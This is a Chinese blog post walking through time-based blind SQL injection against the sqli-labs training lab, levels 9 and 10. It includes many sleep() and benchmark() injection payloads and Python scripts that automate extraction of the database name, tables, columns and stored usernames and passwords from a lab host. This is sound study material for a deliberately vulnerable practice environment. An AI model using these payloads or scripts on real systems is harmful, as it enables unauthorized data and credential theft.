Sqli-labs 复习 Less09-10 延时型sql盲注 - GET

最新推荐文章于 2023-04-08 20:01:51 发布
最新推荐文章于 2023-04-08 20:01:51 发布
阅读量262 收藏
点赞数
分类专栏： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Kevinhanser/article/details/81592483
版权

之前学习了一遍 sqli-labs，这是巩固复习一遍，代码全部手敲，加深印象

Sqli-labs 博客目录

延时型 SQL 盲注 #

函数讲解

  1. 利用 sleep() 函数进行注入

    ?id=1’ and if(ascii(substr(database(),1,1))=115,sleep(5),1)#

    ?id=1’ union select (if(substring(database(),1,1)=char(115),sleep(5),1)),2,3#

    ?id=1’ and if(ascii(substr((要执行的语句),1,1))=115,sleep(5),1)#

    ?id=1’ union select (if(substring((要执行的语句),1,1)=char(115),sleep(5),1)),2,3#

    当错误的时候会有5 秒的时间延时。

  2. 利用 benchmark()进行延时注入

    ?id=1’ and (select 1 from (select concat((ascii(substr((要执行的语句),1,1))=115),benchmark(50000000,encode(‘msg’,’key’)))x from information_schema.tables group by x)a)#

    ?id=1’ and if(ascii(substr((要执行的语句),1,1))=115,benchmark(50000000,encode(‘msg’,’key’)),1)#

    ?id=1’ union select (if(substring((要执行的语句),1,1)=char(115),benchmark(50000000,encode(‘msg’,’key’)),1)),2,3#

    ?id=1’ and (select 1 from (select concat((ascii(substr((database()),1,1))=115),benchmark(50000000,encode(‘msg’,’key’)))x from information_schema.tables group by x)a)#

    ?id=1’ and (select 1 from (select concat((select username from security.users limit 0,1),benchmark(50000000,encode(‘msg’,’key’)))x from information_schema.tables group by x)a)#

    ?id=1’ and if(ascii(substr(benchmark(50000000,encode(‘msg’,’key’)),1,1))=115,sleep(5),1)#

    ?id=1’ union select (if(substring((select database() limit 0,1),1,1)=char(115),benchmark(50000000,encode(‘msg’,’key’)),1)),2,3#

    当结果正确的时候，运行encode(‘msg’,’key’)操作50000000 次，会占用一段时间。

    benchmark()函数，可以测试某些特定操作的执行速度。该函数只是简单地返回服务器执行表达式的时间，而不会涉及分析和优化的开销。

    MySQL 字符串截取函数：left(), right(), substring(), substring_index(), mid(), substr()。其中 mid(), substr() 等价于 substring() 函数

    encode() 对字符进行加密运算 mysql加密解密方式用法 encode()、decode()

Less-9 延时型sql盲注-单引号

  1. 猜数据库

    ?id=1’ and if(ascii(substr(database(),1,1))=115,sleep(5),1)–+

    ?id=1’ and if(ascii(substr(database(),2,1))=101,sleep(5),1)–+

    ?id=1’ and if(ascii(substr(database(),3,1))=99,sleep(5),1)–+

    结果为 security

    执行脚本

    # -*- coding: utf-8 -*-
# filename：Less09-1 database_name.py

import hackhttp
import re
import time

def database_name(arg):
    print "database_name start test..."
    payloads = list('abcdefghijklmnopqrstuvwxyz')
    name=""

    for k in range(15):
        for i in range(64,122):
            startTime=time.time()
            hh = hackhttp.hackhttp()
            msg = "1%27%20and%20if(ascii(substr(database(),{k},1))={i},sleep(5),1)--+".format(k=k,i=i)
            code, head, body, redirect_url, log = hh.http(arg+msg)            
            count = re.findall("You are in",body)
            if time.time() - startTime > 5:
                name+=chr(i)
                print "第%s位为%s" % (k,i)
                break

        name+=" "                       
    print "数据库名为: {name}".format(name=name)

if __name__ == '__main__':
    database_name('http://10.10.10.137/sqli-labs/Less-9/?id=')

  2. 猜表名

    ?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 1,1),1,1))=114,sleep(5),1)–+

    ?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 1,1),2,1))=101,sleep(5),1)–+

    ?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 1,1),3,1))=102,sleep(5),1)–+

    结果为 emails referers uagents users

    执行脚本

    # -*- coding: utf-8 -*-
# filename：Less09-2 table_name.py

import hackhttp
import re
import time

def table_name(arg):
    print "table_name start test..."
    payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
    table_name=""
    database_name=""
    for k in range(5):
        for i in range(1,10):
            for j in range(65,122):
                startTime=time.time()
                hh = hackhttp.hackhttp()
                msg = "1%27%20and%20if(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%20{k},1),{i},1))={j},sleep(5),1)--+".format(k=k,i=i,j=j)
                code, head, body, redirect_url, log = hh.http(arg+msg) 
                count = re.findall("You are in",body)
                if time.time() - startTime > 5:
                    table_name+=chr(j)
                    print "第%s个表的第%s位的ASCII码值是%s" % (k+1,i,j)
                    break
        table_name+=" "
    print "security 数据库的表名为: {table_name}".format(table_name=table_name)

if __name__ == '__main__':
    table_name('http://10.10.10.137/sqli-labs/Less-9/?id=')

  3. 猜列名

    ?id=1’ and if(ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1,1))=117,sleep(5),1)–+

    ?id=1’ and if(ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),2,1))=115,sleep(5),1)–+

    ?id=1’ and if(ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),3,1))=101,sleep(5),1)–+

    结果为 user_id first_nam last_name user password

    执行脚本

    # -*- coding: utf-8 -*-
# filename：Less09-3 column_name.py

import hackhttp
import re
import time

def column_name(arg):
    print "column_name start test..."
    payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
    column_name=""
    database_name=""
    for k in range(5):
        for i in range(1,10):
            for j in range(65,122):
                startTime=time.time()
                hh = hackhttp.hackhttp()
                msg = "1%27%20and%20if(ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%20{k},1),{i},1))={j},sleep(5),1)--+".format(k=k,i=i,j=j)
                code, head, body, redirect_url, log = hh.http(arg+msg) 
                count = re.findall("You are in",body)
                if time.time() - startTime > 5:
                    column_name+=chr(j)
                    print "第%s个列的第%s位的ASCII码值是%s" % (k+1,i,j)
                    break
        column_name+=" "
    print "security 数据库的 user 表的列名为: {column_name}".format(column_name=column_name)

if __name__ == '__main__':
    column_name('http://10.10.10.137/sqli-labs/Less-9/?id=')

  4. 猜数据

    ?id=1’ and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,sleep(5),1)–+

    ?id=1’ and if(ascii(substr((select username from security.users limit 0,1),2,1))=117,sleep(5),1)–+

    ?id=1’ and if(ascii(substr((select username from security.users limit 0,1),3,1))=109,sleep(5),1)–+

    结果为

    username: Dumb  Angelina    Dummy   secure  stupid  superman    batman  admin   admin   admin   
password: Dumb  Ikillyo     pssword crappy  stupidity   genious moble   admin   admin   admin

    运行脚本

    # -*- coding: utf-8 -*-
# filename：Less09-4 data.py

import hackhttp
import re
import time

def data(arg):
    print "data start test..."
    payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.-+*/')
    payload2 = ['username','password']
    data="username: "
    for k in payload2:  # 两个列名
        for x in range(10): # 每个列假设十个数据
            for i in range(1,10):   # 每个数据的第i位的值匹配j
                for j in range(65,122): # 
                    startTime=time.time()
                    hh = hackhttp.hackhttp()
                    msg = "1%27%20and%20if(ascii(substr((select%20{k}%20from%20security.users%20limit%200,1),{i},1))={j},sleep(5),1)--+".format(k=k,x=x,i=i,j=j)
                    code, head, body, redirect_url, log = hh.http(arg+msg)            
                    count = re.findall("You are in",body)
                    if time.time() - startTime > 5:
                        data+=chr(j)
                        print "%s列的第%s个数据的第%s位的ASCII码值是%s" % (k,x+1,i,j)
                        break
            data += "\t"
        print "{data}".format(data=data)
        data += "\npassword: "

if __name__ == '__main__':
    data('http://10.10.10.137/sqli-labs/Less-9/?id=')

Less-10 延时型sql盲注-双引号

  1. 函数讲解

    ?id=1” union select (if(substring(database(),1,1)=char(115),benchmark(50000000,encode(‘msg’,’key’)),null)),2,3–+

    当结果正确的时候，运行encode(‘msg’,’key’)操作50000000 次，会占用一段时间。

    benchmark()函数，可以测试某些特定操作的执行速度。该函数只是简单地返回服务器执行表达式的时间，而不会涉及分析和优化的开销。

    MySQL 字符串截取函数：left(), right(), substring(), substring_index(), mid(), substr()。其中 mid(), substr() 等价于 substring() 函数

    encode() 对字符进行加密运算 mysql加密解密方式用法 encode()、decode()

  2. 猜数据库名

    ?id=1” and if(ascii(substr(database(),1,1))=115,benchmark(50000000,encode(‘msg’,’key’)),1)–+

    ?id=1” union select (if(substring(database(),1,1)=char(115),benchmark(50000000,encode(‘msg’,’key’)),null)),2,3–+

    ?id=1” union select (if(substring(database(),2,1)=char(101),benchmark(50000000,encode(‘msg’,’key’)),null)),2,3–+

    ?id=1” union select (if(substring(database(),3,1)=char(99),benchmark(50000000,encode(‘msg’,’key’)),null)),2,3–+

    结果为：security

  3. 猜表名

    ?id=1” union select (if(substring((select table_name from information_schema.tables where table_schema=’security’ limit 1,1),1,1)=char(114),benchmark(50000000,encode(‘msg’,’key’)),null)),2,3–+

    ?id=1” union select (if(substring((select table_name from information_schema.tables where table_schema=’security’ limit 1,1),2,1)=char(101),benchmark(50000000,encode(‘msg’,’key’)),null)),2,3–+

    ?id=1” union select (if(substring((select table_name from information_schema.tables where table_schema=’security’ limit 1,1),3,1)=char(102),benchmark(50000000,encode(‘msg’,’key’)),null)),2,3–+

    结果为：emails referers uagents users

  4. 猜列名

    ?id=1” union select (if(substring((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1,1)=char(117),benchmark(50000000,encode(‘msg’,’key’)),null)),2,3–+

    ?id=1” union select (if(substring((select column_name from information_schema.columns where table_name=’users’ limit 0,1),2,1)=char(115),benchmark(50000000,encode(‘msg’,’key’)),null)),2,3–+

    ?id=1” union select (if(substring((select column_name from information_schema.columns where table_name=’users’ limit 0,1),3,1)=char(101),benchmark(50000000,encode(‘msg’,’key’)),null)),2,3–+

    结果为：user_id first_nam last_name user password

  5. 猜数据

    ?id=1” union select(if(substr((select password from security.users limit 0,1),1,1)=char(68),benchmark(50000000,encode(‘msg’,’key’)),null)),2,3–+

    ?id=1” and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,benchmark(50000000,encode(‘msg’,’key’)),null)–+

    ?id=1” union select(if(substr((select password from security.users limit 0,1),2,1)=char(117),benchmark(50000000,encode(‘msg’,’key’)),null)),2,3–+

    ?id=1” and if(ascii(substr((select username from security.users limit 0,1),2,1))=117,benchmark(50000000,encode(‘msg’,’key’)),null)–+

    ?id=1” union select(if(substr((select password from security.users limit 0,1),3,1)=char(109),benchmark(50000000,encode(‘msg’,’key’)),null)),2,3–+

    ?id=1” and if(ascii(substr((select username from security.users limit 0,1),3,1))=109,benchmark(50000000,encode(‘msg’,’key’)),null)–+

    结果为：

    username: Dumb  Angelina    Dummy   secure  stupid  superman    batman  admin   admin   admin   
password: Dumb  Ikillyo     pssword crappy  stupidity   genious moble   admin   admin   admin
网络安全打工人
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
phpstudy+靶场sqli-labs-master下载
11-08
【标题】"phpstudy+靶场sqli-labs-master下载" 涉及的主要知识点是PHPStudy集成环境和SQL注入漏洞靶场Sqli-Labs。这两个工具是学习和测试Web安全，尤其是SQL注入攻击与防御的重要资源。 PHPStudy是一款集成的PHP...
sqli-labs-master Less1-9通关代码详解
qq_42906381的博客
02-15 2692
sqli-labs 1-9 通关代码详细
sqli靶场通关之less9
sunxueer的博客
07-19 1243
sqli less9 时间盲注 结合burpsuite 1.不返回报错信息页面，无法进行基于报错信息的盲注。2.页面不存在true和false两种不同的页面，无法进行对比也就无法进行布尔盲注。一般来说，在页面没有任何回显和错误信息提示的时候，我们就会测试时间盲注这个手法。 1. 求闭合字符 id=1',1),1'),1"等都试过了，发现始终没有报错信息，猜测正确的输入和错误的输入返回的结果被设置成一样的了 查看源码，证实了猜测，尝试使用时间盲注 id=1 and sleep(5) //未延迟 i
sqli-labs-master第九关+第十关（时间延迟注入）
m_ing
05-11 1121
前言：时间型的注入遇到的条件更为苛刻，数据交互完成以后目标网站没有错误和正确的页面回显，这种情况我们可以利用时间函数来判断数据有没有在目标数据中得到执行。当然也需要构造闭合 这两关需要用到的函数: 函数名称 函数说明 sleep (s) 静止s秒、数字类型，可自定义 if（逻辑表达式，返回值1，返回值2） if判断语句 来到第九关： http://192.168.89.131/sqli-labs-master/Less-9/ 当我们正常的测试语句似乎没有任何效果时。我们根据总结的
SQLi LABS Less 9 时间盲注
热门推荐
wangyuxiang946的博客
06-22 1万+
SQLi 第九关，SQLi-LABS Less-9，SQLi-LABS Less 9，SQLiLABS Less9，SQLi Less 9
sqli-labs通关全解---关于盲注脚本的编写--less7-10-4
cyynid的博客
01-10 601
盲注
sqli-labs-master靶场安装下载
04-01
安装phpstudy、sqli-labs 适合人群：小白 安装sqli-labs报错如何解决
windows环境下安装sqli-labs
11-04
Windows 环境下安装 sqli-labs 详细教程 Windows Server 2012 环境下安装 sqli-labs 需要具备一定的基础知识和环境准备。在这里，我们将详细介绍如何在 Windows Server 2012 环境下安装 sqli-labs。 环境准备 在...
sqli-labs-master.zip
11-20
最新sqli-labs代码，自己也可以到github下载：https://github.com/Audi-1/sqli-labs
sqli-labs靶场练习笔记
最新发布
11-09
- **SQLi-Labs介绍**：SQLi-Labs是一款专为学习和实践SQL注入技术而设计的靶场环境。它包含了多个关卡，每个关卡都模拟了一个具有特定SQL注入漏洞的应用场景。 - **学习价值**：通过解决这些关卡中的问题，学习者...
sqli-labs第九关
qq_56726035的博客
04-08 710
sqli-labs第九关
sqli-labs第九关&第十关(延时盲注)
qq_42266432的博客
08-20 1264
刚开始进入这一关时对这一关进行了常规的注入过程，并未发现有可以利用的地方，然后怎么办呢？去作弊嘛，看了看标题，第九关叫"time based-single quotes"基于时间—单引号，于是乎，就去试了试时间盲注，使用单引号闭合，请求如下： http://localhost:90/sqli-labs-master/Less-9/?id=1' and (select sleep(3))--+ 然后发现这个请求延时了3S 进行到这里，就有了一套完整的思路，时间盲注和之前的布尔盲注思路差不多，布尔盲注靠UI
SQL注入：sqli-labs lesson-8 lesson -9 基于布尔值和基于时间的盲注!
Zeker62的博客
07-24 306
在上一次讲解了lesson -1的sql基本注入，我们在注入的时候，它会返回错误信息 但是盲注不会：什么是盲注：我理解的盲注是，web页面并不会返回错误信息，需要自己添加一些命令来让浏览器进行一些显而易见的行为，如果发生了这些行为，我们可以认为这次是报错（或者不报错，基于自己的设定）。 基于布尔值的盲注 sqli-labs lesson-8 提示了是单引号的错误，但是我们是用 ?id=1 还是?id=1’ 判断,页面返回的结果是一样的: 我也不知道错没错,就是不显示咯 无法判断出是否错误,就需要用盲注
盲注学习(sqli-labs 8(布尔盲注) 9(时间盲注))
筱阳的博客
06-06 1560
所以称为盲注是因为他不会根据你sql注入的攻击语句返回你想要知道的错误信息。盲注分为两类：　　　　1.布尔盲注　布尔很明显Ture跟Fales，也就是说它只会根据　　　　你的注入信息返回Ture跟Fales，也就没有了之前的报错信息。　　　　2.时间盲注　界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数，通过查看web页面返回的时间差来判断注入的语句是否...
sqli-labs 9~10 多命通关攻略（Python3 自动化实现时间盲注）
两个月亮
01-13 804
三种输入，sqli-labs 的回显区域显示的内容均，因此我们只能使用基于时间的注入方式。
【针对sqli-labs第9关的时间盲注python脚本】
AA8j的博客
09-09 745
效果图 源码 #!/usr/bin/python # -*- coding: utf-8 -*- # @Time : 2021/9/7 10:20 # @Author : AA8j # @Site : # @File : Time-based-blind-SQL-injection.py # @Software: PyCharm # @Blog : https://blog.csdn.net/qq_44874645 import binascii import request
延时盲注——sqli-labs第9、10关
这是笔者初学时所做的笔记，有错误的地方太多了，有些结论也只是笔者的一家之言。请自行判断
07-28 1775
目录使用场景第9关确认场景判断闭合符找到数据库名的长度将数据库名一个字母一个字母爆出来…………第10关 使用场景 1.对时间函数敏感 2.前端不显示后端报错和查询结果传来的结果，同时也不根据后端传来的结果显示不同的内容。 一些资料说是： 2.后端报错和查询结果不返回到前端，对前端其他任何输入都不返回给前端不同的内容 至于是后端不返回，还是返回了前端不显示，有点搞不懂，希望有大佬看到能帮我扫盲 基本函数： if(var1,var2,var3) var1：条件 var2：条件为真时返回的值 var3：条件为
SQLI-Labs(3)8-14关【布尔盲注和时间盲注】
weixin_52515588的博客
03-05 559
利用payload:' and (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1【位数】,1【个数】)))=101--+那么时间盲注最大的问题就是我们没办法一开始就猜到闭合的规则，有可能试了半天他最后没有时间盲注，所以这里就考验的是心态。第十四关又是闭合的问题了。剩下的就跟之前是一样的了，在这里也不多说了，不知道的可以看之前的东西。
sqli-labs靶场第九关
gou1791241251的博客
12-26 1535
传入id=1参数进行查看 传入单引号和双引号进行测试闭合方式 传入单引号时页面没反应，试一下双引号 还是没有反应！！！此时应该反应过来，可能页面没有布尔类型状态，只能尝试一下绝招（绝境才能用的招）延时注入 此时发现确实延迟了十秒页面才能正常响应，延时注入是布尔盲注的一种，如果条件正确就沉睡10秒，秒数可以自己自定义。 以下就不演示怎么获取数据库信息了，参考sqli-labs第六关的盲注，把条件换成沉睡10秒即可。 ...
PHP与Apache环境下部署SQL注入靶场sqli-labs指南
部署sqli-labs是一个实战训练过程，它不仅提供了丰富的SQL注入实例，还能帮助开发者熟悉如何防范此类攻击，是提升网络安全技能的实用工具。通过这个靶场，你将更深入理解Web应用程序安全的重要性，并掌握如何在实际...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值